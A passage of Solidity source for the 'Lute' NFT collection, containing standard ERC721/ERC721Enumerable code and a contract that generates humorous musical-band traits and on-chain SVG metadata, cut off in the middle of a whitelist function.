* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
contract Lute is ERC721Enumerable, ReentrancyGuard, Ownable {
mapping (address => bool) private _whitelist;
mapping (address => uint256) private _whitelistMints;
uint256 private constant _maxWhitelistMint = 11;
string[] private genresCommon = [
"Alternative",
"Bluegrass",
"Blues",
"Classical",
"Country",
"Electronic",
"Folk",
"Funk",
"Heavy Metal",
"Hip Hop",
"Indie Rock",
"Jazz",
"Pop",
"Pop Punk",
"Punk",
"Rock",
"Soul",
"Techno",
"Religious",
"Disco"
];
string[] private genresMid = [
"Acid House",
"Black Metal",
"Boy Band",
"Celtic",
"Dubstep",
"G-Funk",
"Grindcore",
"Post-Rock",
"K-Pop",
"Polka",
"Post-Punk",
"SKA",
"Trap",
"Death Metal",
"Garage",
"Opera",
"Industrial",
"Lo-fi",
"Emo",
"Ambient"
];
string[] private genresRare = [
"Afrobeat",
"ASMR",
"Doom Metal",
"Chiptune",
"Elevator Music",
"West Coast Hip Hop",
"Boom Bap",
"Crust Punk",
"Dreampunk",
"Sludge Metal",
"Grime",
"Jungle",
"Doo-wop",
"Bossa Nova",
"Choral",
"Porno",
"Psych Rock",
"Sound Effects for Daytime Television",
"Film Scores"
];
string[] private instrumentsCommon = [
"Acc. Guitar",
"Bass Guitar",
"Drum Set",
"Elec. Guitar",
"Keyboard",
"MIDI Keyboard",
"Piano",
"Synth",
"Vocalist",
"Saxophone",
"Violin",
"Turntables"
];
string[] private instrumentsMid = [
"Ableton Live",
"Bongos",
"Cabasa",
"Cello",
"Clarinet",
"Cowbell",
"Drum Machine",
"Flute",
"Organ",
"Harmonica",
"Harpsichord",
"Moog Synth",
"Oboe",
"Rhodes",
"Shaker",
"Upright Bass",
"Triangle",
"Trombone",
"Trumpet",
"Tuba",
"Ukulele",
"Vibraphone",
"Djembe",
"Harp"
];
string[] private instrumentsRare = [
"Vocoder",
"Bar. Guitar",
"Beatboxing",
"Cajon",
"Car Horn",
"Castanets",
"Clavichord",
"Didgeridoo",
"Fender Strat",
"Hand Farts",
"Kazoo",
"Lute",
"Mod. Synth",
"Pan Pipes",
"Prophet Synth",
"Sitar",
"Slide Whistle",
"Sousaphone",
"Steel Drums",
"Talk Box",
"Theremin",
"Thumb Piano",
"Timpani",
"MPC",
"Keytar"
];
string[] private riderRequestsCommon = [
"Buffet",
"Pack of Newports",
"Ticket for a Buffalo Chicken Wrap",
"6 Domestic Beers",
"6 Imported Beers",
"Two Drink Tickets",
"Two Guest Tickets",
"Shot of Whiskey",
"Veggie Tray",
"Moral Support",
"One Guest List Spot",
"Fruit Platter",
"Two Bottles of Water"
];
string[] private riderRequestsMid = [
"Coffee Stirred Counterclockwise",
"Essential Oils",
"Blunt Roller on Staff",
"Driver Dressed in 100% Cotton",
"Personal Driver",
"Fast Food Served on Fine China",
"Floor Lamps with Dimmer Switch",
"Personal Chef",
"Priority Access to TopShot Queues",
"Private Elevator",
"Private OpenSea Listings",
"1 Bowl of Fresh Homemade Guacamole",
"Box of Huggies Baby Nature Care Wipes",
"20 Dozen Clean Towels",
"25 Pound Dumbbells",
"4 Small Vases with White Tulips",
"Masseuse",
"No Bananas Anywhere in the Building",
"Pool Kept at 98 Degrees",
"Nivea Chapstick",
"No Coca-Cola Products",
"Someone to Throw Out Gum",
"48 Natural Scented Incense Sticks",
"Heavily Seasoned Chicken Wings"
];
string[] private riderRequestsRare = [
"Cristal with Bendy Straws",
"Pack of Marlboro Lights w/ Lighter",
"A Bottle of Ketel One to Clean Things",
"A Framed Photo of Princess Diana",
"Full Floor of a Hotel",
"7 Dressing Rooms",
"A Mannequin w/ Pink Pubic Hair",
"A Room Full of Puppies",
"A Room of Wigs",
"All White Everything",
"Armored Car Escort",
"Disinfected Doorknobs",
"New Toilet Seat at Every Venue",
"Dr. Bronner's Peppermint Soap",
"Ping Pong Table",
"No Crew Members Named Justin",
"Someone Dressed as Bob Hope",
"Slushy Machine w/ Coke and Hennessy",
"Sedentary Curiosities",
"Room Temp at 78 Degrees",
"Private Toilet w/ New Toilet Seat",
"One Large Fur Rug",
"Private Jet on Standby",
"Personal Basketball Court",
"Police Escort",
"Handful of BYOPills",
"No Interviews"
];
string[] private venuesCommon = [
"Alone",
"Auditorium",
"Beach",
"Canada",
"Carnival",
"Charity Event",
"Coffee House",
"Dive Bar",
"Golf Course",
"Jail",
"Mom's Basement",
"Motel 6",
"Office Party",
"Oil Rig",
"Parking Lot",
"Porch",
"Shipping Container",
"Theater",
"Trailer Park",
"Watering Hole",
"Wedding",
"Nefarious Gatherings"
];
string[] private venuesMid = [
"Amphitheater",
"Arena",
"Festival Ground",
"Forest",
"Base of a Volcano",
"Castle",
"Grand Canyon",
"Haunted House",
"Heaven",
"Hell",
"Cemetery",
"Childhood Dreams",
"Metaverse",
"Mountains",
"Ozarks",
"Rooftop",
"Stadium",
"Steamship",
"Temple",
"The Future",
"The Past",
"Underground Club",
"Warehouse",
"Yacht",
"Alternate Dimension"
];
string[] private venuesRare = [
"LilNoobie's Backyard",
"Pacific Ocean",
"ArtBlocks Factory",
"Asgard",
"Private Island",
"Bob's Burgers",
"Satman's Metaverse Gallery",
"Burning Roof Top",
"City Wok",
"Earth 616",
"Earth's Core",
"Four Seasons Total Landscaping",
"Ice Fortress",
"Mandalore",
"The Sun",
"The Void",
"Moon Base",
"9 Lives Lounge",
"Mos Eisley Cantina",
"Mount Rushmore",
"Columbus Crew Stadium",
"Namek",
"TEPNU's Pirate Ship",
"Razorback Stadium"
];
string[] private influencesCommon = [
"Aaliyah",
"Alice Cooper",
"Aretha Franklin",
"Avril Lavigne",
"Bach",
"Beethoven",
"Beyonce",
"Bob Dylan",
"Bob Marley",
"Carrie Underwood",
"Cher",
"Coldplay",
"Diana Ross",
"Dixie Chicks",
"Dolly Parton",
"Dr. Dre",
"Drake",
"Ella Fitzgerald",
"Eminem",
"God",
"Jackson 5",
"James Brown",
"Janis Joplin",
"Jay Z",
"Jonas Brothers",
"Joni Mitchell",
"Kendrick Lamar",
"Lauryn Hill",
"Led Zeppelin",
"Madonna",
"Marvin Gaye",
"Michael Jackson",
"Mozart",
"Nirvana",
"NSYNC",
"Reba McEntire",
"Radiohead",
"Run DMC",
"RZA",
"Shania Twain",
"Stevie Nicks",
"Sublime",
"Taylor Swift",
"The Beatles",
"The Carpenters",
"The Doors",
"The Rolling Stones",
"The Supremes",
"Tyler, the Creator",
"Van Halen",
"Whitney Houston",
"Yo-Yo Ma",
"Iron Maiden",
"Slayer"
];
string[] private influencesMid = [
"Fleetwood Mac",
"Flight of the Conchords",
"Electric Light Orchestra",
"Goo Goo Dolls",
"Gorillaz",
"Grateful Dead",
"Hank Williams",
"Hanson",
"Janet Jackson",
"KRS-One",
"Lin-Manuel Miranda",
"Mandy Moore",
"Metallica",
"Moby",
"Modest Mouse",
"Nicki Minaj",
"Nickelback",
"Nina Simone",
"No Doubt",
"Parliament",
"A Tribe Called Quest",
"Prince",
"Reel Big Fish",
"Sheryl Crow",
"Sly and the Family Stone",
"Spinal Tap",
"Tenacious D",
"The Blues Brothers",
"The Devil",
"The Fugees",
"The Offspring",
"The Pixies",
"Wyld Stallyns",
"Pantera",
"Tool",
"?uestlove",
"Weird Al Yankovic",
"Alanis Morissette",
"Ani DiFranco",
"Arctic Monkeys",
"Backstreet Boys",
"Beck",
"BTS",
"Blink 182",
"Childish Gambino",
"D'Angelo",
"Daft Punk",
"Death Cab for Cutie"
];
string[] private influencesRare = [
"Kate Bush",
"Mos Def",
"Mouse Rat",
"Neutral Milk Hotel",
"Noname",
"Patti Smith",
"Sex Bob-Omb",
"MF DOOM",
"Smokey Robinson",
"Swedish House Mafia",
"SZA",
"The Bangles",
"Travis Tritt",
"Velvet Underground",
"Vince Staples",
"Woody Guthrie",
"Deep Purple",
"Dream Theater",
"Rush",
"Ja Rule",
"9th Wonder",
"Arvo Part",
"Black Thought",
"Blondie",
"Buddy Holly",
"Carl Cox",
"Chemical Brothers",
"Daniel Johnston",
"DJ Premier",
"DragonForce",
"Earl Sweatshirt",
"Erykah Badu",
"Eugene Belcher",
"Fiona Apple",
"Funkadelic",
"Jethro Tull",
"Joan Baez",
"Joe Cocker"
];
string[] private vehiclesCommon = [
"18-Wheel Semi",
"Bicycle",
"Dog-Sled",
"Escalator",
"Feet",
"Golf Cart",
"Grocery Cart",
"Hatchback",
"Minivan",
"Mule Train",
"Pedal Cab",
"Pogo Sticks",
"Rickshaw",
"Rollerblades",
"Unicycle",
"Sailboat",
"School Bus",
"Scooters",
"Skateboard",
"Subway",
"VW Bus",
"Van"
];
string[] private vehiclesMid = [
"RV",
"Tour Bus",
"Yo Mamma",
"Luxury Sedan",
"Armored Car",
"Balloons",
"Monster Truck",
"Bobsled",
"Caravan",
"Cruise Ship",
"Elevator",
"Gondola",
"Helicopter",
"Horse",
"Hovercraft",
"Blow-up Raft",
"Snowmobile",
"Zamboni",
"Limo",
"Jet Ski"
];
string[] private vehiclesRare = [
"ATAT-Walker",
"Dirigible",
"Jetpack",
"Spacecraft",
"Submarine",
"$anta's Sled",
"Palanquin",
"Angels' Wings",
"Magic Carpet",
"UFO",
"Private Jet",
"Rainbow",
"Rocket",
"Pegasus",
"X-Wing",
"Yacht",
"Rollercoaster",
"Royal Canoe",
"Portal",
"1995 Windstar",
"MuttCutts Van"
];
string[] private suffixes = [
"Composition",
"Nihilism",
"Ego",
"Elegance",
"Improvisation",
"Power",
"Serenity",
"Fury",
"Clarity",
"Solidarity",
"Virility",
"Stardom",
"Good Vibes",
"Love",
"Peace",
"Shadows",
"Splendor",
"Madness",
"Tranquility",
"War",
"Wonder",
"Local Acclaim",
"the Third Eye",
"Envy",
"Betrayal",
"Inner Peace",
"Fame",
"Fortune",
"Inspiration",
"Perfect Pitch",
"Perfect Time",
"Self Loathing",
"Mediocrity",
"Looting",
"Doom",
"Divination"
];
string[] private namePrefixes = [
"Antique",
"Brand New",
"Busted Up",
"Diamond",
"Dope",
"Exquisite",
"Haunted",
"Golden",
"Lucky",
"Rusty",
"Sexy",
"Silver",
"Trusty",
"Ancient",
"Legendary",
"Platinum",
"Wooden",
"Tenacious",
"Plastic",
"Alien",
"Radical",
"Flaming",
"Bedazzled",
"Boring",
"Epic",
"Glowing",
"Groovy",
"Used",
"Shiny",
"Invisible",
"Mirrored"
];
function random(string memory input) internal pure returns (uint256) {
return uint256(keccak256(abi.encodePacked(input)));
}
function getRarity(uint256 tokenId, string memory keyPrefix, string[] memory commonArray, string[] memory midArray, string[] memory rareArray) internal pure returns (string[] memory) {
uint256 rand = random(string(abi.encodePacked(keyPrefix, "MAINNETRARITYSTRING" ,toString(tokenId))));
uint256 chance = rand % 100;
if (chance < 60) {
return commonArray;
} else if (chance < 90) {
return midArray;
} else {
return rareArray;
}
}
function getGenre(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "GENRE", genresCommon, genresMid, genresRare, false);
}
function getRiderRequest(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "RIDERREQUEST", riderRequestsCommon, riderRequestsMid, riderRequestsRare, false);
}
function getVenue(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "VENUE", venuesCommon, venuesMid, venuesRare, false);
}
function getInfluence(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "INFLUENCE", influencesCommon, influencesMid, influencesRare, false);
}
function getVehicle(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "VEHICLE", vehiclesCommon, vehiclesMid, vehiclesRare, true);
}
function getInstrument1(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "INSTRUMENT1", instrumentsCommon, instrumentsMid, instrumentsRare, true);
}
function getInstrument2(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "INSTRUMENT2", instrumentsCommon, instrumentsMid, instrumentsRare, true);
}
function getInstrument3(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "INSTRUMENT3", instrumentsCommon, instrumentsMid, instrumentsRare, true);
}
function pluck(uint256 tokenId, string memory keyPrefix, string[] memory commonArray, string[] memory midArray, string[] memory rareArray, bool addAffix) internal view returns (string memory) {
uint256 rand = random(string(abi.encodePacked(keyPrefix, "RANDOMSTRING", toString(tokenId))));
string[] memory sourceArray = getRarity(tokenId, keyPrefix, commonArray, midArray, rareArray);
string memory output = sourceArray[rand % sourceArray.length];
if (addAffix) {
uint256 greatness = rand % 21;
if (greatness > 14) {
output = string(abi.encodePacked(output, " of ", suffixes[rand % suffixes.length]));
}
if (greatness >= 19) {
string memory name = namePrefixes[rand % namePrefixes.length];
output = string(abi.encodePacked(name, ' ', output));
}
}
return output;
}
function tokenURI(uint256 tokenId) override public view returns (string memory) {
string[17] memory parts;
parts[0] = '<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 350 350"><style>.base { fill: rgb(5, 5, 5); font-family: Courier; font-size: 12px; }</style><rect width="100%" height="100%" fill="rgb(235, 234, 232)" /><text x="10" y="20" class="base">GNRE: ';
parts[1] = getGenre(tokenId);
parts[2] = '</text><text x="10" y="40" class="base">INS1: ';
parts[3] = getInstrument1(tokenId);
parts[4] = '</text><text x="10" y="60" class="base">INS2: ';
parts[5] = getInstrument2(tokenId);
parts[6] = '</text><text x="10" y="80" class="base">INS3: ';
parts[7] = getInstrument3(tokenId);
parts[8] = '</text><text x="10" y="100" class="base">INFL: ';
parts[9] = getInfluence(tokenId);
parts[10] = '</text><text x="10" y="120" class="base">VENU: ';
parts[11] = getVenue(tokenId);
parts[12] = '</text><text x="10" y="140" class="base">VEHC: ';
parts[13] = getVehicle(tokenId);
parts[14] = '</text><text x="10" y="160" class="base">RIDR: ';
parts[15] = getRiderRequest(tokenId);
parts[16] = '</text></svg>';
string memory output = string(abi.encodePacked(parts[0], parts[1], parts[2], parts[3], parts[4], parts[5], parts[6], parts[7], parts[8]));
output = string(abi.encodePacked(output, parts[9], parts[10], parts[11], parts[12], parts[13], parts[14], parts[15], parts[16]));
string memory tempJson = string(abi.encodePacked('{"attributes":[{"trait_type":"Genre","value":"', parts[1], '"},{"trait_type":"Instrument 1","value":"', parts[3], '"},{"trait_type":"Instrument 2","value":"', parts[5], '"},{"trait_type":"Instrument 3","value":"', parts[7],'"},{"trait_type":"Influence","value":"'));
tempJson = string(abi.encodePacked(tempJson, parts[9], '"},{"trait_type":"Venue","value":"', parts[11], '"},{"trait_type":"Vehicle","value":"', parts[13], '"},{"trait_type":"Rider Request","value":"', parts[15], '"}],"name": "Band #'));
string memory json = Base64.encode(bytes(string(abi.encodePacked(tempJson,toString(tokenId), '", "description": "Lute consists of randomized musical identities that are generated and stored on-chain. The instruments, influences, genres, and other particulars are simply the foundation of our collective effort to fill the airwaves of the nascent metaverse. Whether you have plans to take over the Shillboard Hot 100 or just want to piss off your neighbors, these traits await your exploration and interpretation. Feel free to use Lute in any way you want.", "image": "data:image/svg+xml;base64,', Base64.encode(bytes(output)), '"}'))));
output = string(abi.encodePacked('data:application/json;base64,', json));
return output;
}
function claim(uint256 tokenId) public nonReentrant {
require(tokenId > 0 && tokenId < 7778, "Token ID invalid");
_safeMint(_msgSender(), tokenId);
}
function ownerClaim(uint256 tokenId) public nonReentrant onlyOwner {
require(tokenId > 7898 && tokenId < 8001, "Token ID invalid");
_safeMint(owner(), tokenId);
}
function isWhitelisted(address addr) public view returns (bool) {
return _whitelist[addr];
}
function addToWhitelist(address[] memory addrs) public onlyOwner {
